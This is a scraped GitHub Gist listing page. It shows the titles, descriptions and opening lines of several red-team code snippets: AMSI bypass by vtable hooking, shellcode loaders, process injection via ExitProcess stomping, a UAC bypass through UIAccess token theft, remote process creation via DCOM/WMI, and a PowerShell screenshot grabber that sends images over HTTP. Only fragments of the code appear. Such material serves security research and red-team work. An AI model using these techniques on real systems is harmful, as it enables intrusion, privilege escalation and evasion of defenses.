Skip to content

Instantly share code, notes, and snippets.

View kapiushion's full-sized avatar

kapiushion

3 followers · 0 following
View GitHub Profile
@EvanMcBroom
EvanMcBroom / exec_remote_process.cpp
Last active August 8, 2025 03:33
Examples of using an impersonation token instead of explicit credentials to create a process on a remote host via DCOM and MS-WMI.
// Copyright (C) 2024 Evan McBroom
#include <Windows.h>
#include <iostream>
#include <vector>
#include <WbemCli.h>
#include <atlbase.h>
#include <iomanip>
// The modified, compiled IDL file from:
@TheWover
TheWover / SystemProcessInformation.cpp
Last active October 17, 2025 14:27
Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles
// Demonstrates use of NtQuerySystemInformation and SystemProcessInformation variants to enumerate processes without opening handles
// Author: TheWover
//
#include <iostream>
#include <string>
#include "ntdefs.h"
bool demoSystemProcessInformation(bool full)
{
@rxwx
rxwx / AmsiContextHook.cpp
Created November 30, 2023 17:04
Bypass AMSI on Windows 11 by hooking the AMSI context VTable on the heap with a ROP gadget. Look ma, no code patches!
#include <Windows.h>
#include <Psapi.h>
#include <metahost.h>
#include <comutil.h>
#include <mscoree.h>
#include "patch_info.h"
#include "base\helpers.h"
/**
* For the debug build we want:
@rxwx
rxwx / AmsiLoader.cpp
Created November 29, 2023 16:01
Execute shellcode with AMSI
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <amsi.h>
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
// https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
typedef struct tagHAMSICONTEXT {
@realoriginal
realoriginal / CtlInject_Legacy.c
Created October 26, 2023 15:41
/*!
*
* ROGUE
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation Team
*
!*/
@tothi
tothi / PrtSc_Screenshotter.ps1
Created September 16, 2023 20:00
Capture screenshot by sending PrtSc key using PowerShell and grab it through HTTP with a Python CGI receiver
# dependency
Add-Type -AssemblyName System.Windows.Forms
# send PrtSc key (= capture the screen to the clipboard)
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
# save the image as PNG in memory
$png = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($png, [System.Drawing.Imaging.ImageFormat]::Png)
@antonioCoco
antonioCoco / TaskManagerSecret.c
Created August 29, 2023 01:52
/*
TaskManagerSecret
Author: @splinter_code
This is a very ugly POC for a very unreliable UAC bypass through some UI hacks.
The core of this hack is stealing and using a token containing the UIAccess flag set.
A trick described by James Forshaw, so all credits to him --> https://www.tiraniddo.dev/2019/02/accessing-access-tokens-for-uiaccess.html
From there it uses a task manager "feature" to run a new High IL cmd.exe.
This has been developed only for fun and shouldn't be used due to its high unreliability.
@susMdT
susMdT / shitcode.c
Last active December 2, 2024 04:25
hahaha da shellcode go brrrr
#include <Core.h>
#include <Win32.h>
#include <Structs.h>
#include <Sleep.h>
#include <Utils.h>
SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance)
{
@superuser5
superuser5 / LastCall.c
Created May 7, 2023 15:21
LastCall Injection PoC
// "A process executes until one of the following events occurs:
// - Any thread of the process calls the ExitProcess function.
// - The last thread of the process terminates
// - ..."
// Ref: https://learn.microsoft.com/en-us/windows/win32/procthread/terminating-a-process
//
// --------------------------------------------------------------------------------------------
//
// The idea is to inject shellcode into another process and stomp the instructions of it's ExitProcess().
// So when ExitProcess is called, the thread will be redirected to the shellcode instead of exiting.
@realoriginal
realoriginal / Entry.c
Last active July 16, 2025 05:13
D_SEC( A ) NTSTATUS NTAPI Entry( _In_ PVOID Parameter )
{
PARSED_BUF Psr;
UINT32 Wrt = 0;
PARG Arg = NULL;
LPWSTR Nps = NULL;
HANDLE Pip = NULL;